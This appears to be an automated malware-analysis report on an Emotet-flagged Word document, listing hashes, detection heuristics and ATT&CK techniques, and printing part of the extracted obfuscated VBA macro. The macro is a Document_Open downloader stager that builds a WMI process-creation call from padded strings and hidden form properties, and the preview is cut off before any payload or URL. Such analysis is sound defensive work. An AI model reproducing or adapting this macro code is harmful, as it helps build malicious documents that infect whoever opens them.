Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 22c0f4e992bbe008…

MALICIOUS

Office (OLE)

177.1 KB Created: 2020-08-18 06:22:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 98ecf87701a7fcead34c942928ecbbf8 SHA-1: bc5e42478a934e8648f9f909f403122a2fd38c21 SHA-256: 22c0f4e992bbe008bc8662329a78df594f5a5878400732952ef07f4cf83f3e48
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The ClamAV detection explicitly names Emotet. The macros are designed to execute code, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9372932-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9372932-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10867 bytes
SHA-256: 1d655e9f511450d53091532dbff814169544a6e18019d4a7c7562275518afb61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dptp5qwpp07rtp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Vg0g1rh0dmvkb342m.Il1srzjnxbt
End Sub


Attribute VB_Name = "Vg0g1rh0dmvkb342m"
Attribute VB_Base = "0{37F8AAAC-7D4E-432E-9744-2EDF887F43F2}{593CB29F-4231-4D4E-ADC2-E96D2E5F31DB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Il1srzjnxbt()
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Next M4p_7b3xw_d3
Pwxl7wjl_ef = 723
Kmjaa1koiorj3zi4q = 231
Pwxl7wjl_ef = Pwxl7wjl_ef + Kmjaa1koiorj3zi4q
S00a9x9nhgg37g1q7 = Pwxl7wjl_ef
Ezy691i4q6h3c = Vg0g1rh0dmvkb342m.HelpContextId + 50 + 50
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Next M4p_7b3xw_d3
Pwxl7wjl_ef = 480
Kmjaa1koiorj3zi4q = 303
Pwxl7wjl_ef = Pwxl7wjl_ef + Kmjaa1koiorj3zi4q
Ibkpk2mqdhm6rbl_i9 = Pwxl7wjl_ef
Unp36d25ee7mtgn = ChrW(Ezy691i4q6h3c + (15))
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Next M4p_7b3xw_d3
Pwxl7wjl_ef = 999
Kmjaa1koiorj3zi4q = 149
Pwxl7wjl_ef = Pwxl7wjl_ef + Kmjaa1koiorj3zi4q
Wh94btcih8x7v2r_w = Pwxl7wjl_ef
Ojudb9fx206836lj = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Unp36d25ee7mtgn + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Vg0g1rh0dmvkb342m.Hitgtp19gu4cqrjpk + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Next M4p_7b3xw_d3
Pwxl7wjl_ef = 891
Kmjaa1koiorj3zi4q = 718
Pwxl7wjl_ef = Pwxl7wjl_ef + Kmjaa1koiorj3zi4q
Ptrczn7hssxk = Pwxl7wjl_ef
Kuzoss8lcp74pac = Qzmwmcfzi2efxn4mg(Ojudb9fx206836lj)
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Next M4p_7b3xw_d3
Pwxl7wjl_ef = 348
Kmjaa1koiorj3zi4q = 728
Pwxl7wjl_ef = Pwxl7wjl_ef + Kmjaa1koiorj3zi4q
T_de81qtu4p1jod4d = Pwxl7wjl_ef
Set Vkhcvt72oal7 = CreateObject(Kuzoss8lcp74pac)
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Next M4p_7b3xw_d3
Pwxl7wjl_ef = 589
Kmjaa1koiorj3zi4q = 964
Pwxl7wjl_ef = Pwxl7wjl_ef + Kmjaa1koiorj3zi4q
T_u2o6dwuguc8y2 = Pwxl7wjl_ef
Lfke83vvxo8kz = Vg0g1rh0dmvkb342m.Sjm2mm2u6tw5.ControlTipText
   For M4p_7b3xw_d3 = 5 To 62
DoEvents
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(Wr0584yaj7p8k5))
Debug.Print (CStr(M8bsj_qllo0_5hb1) & CStr(
... (truncated)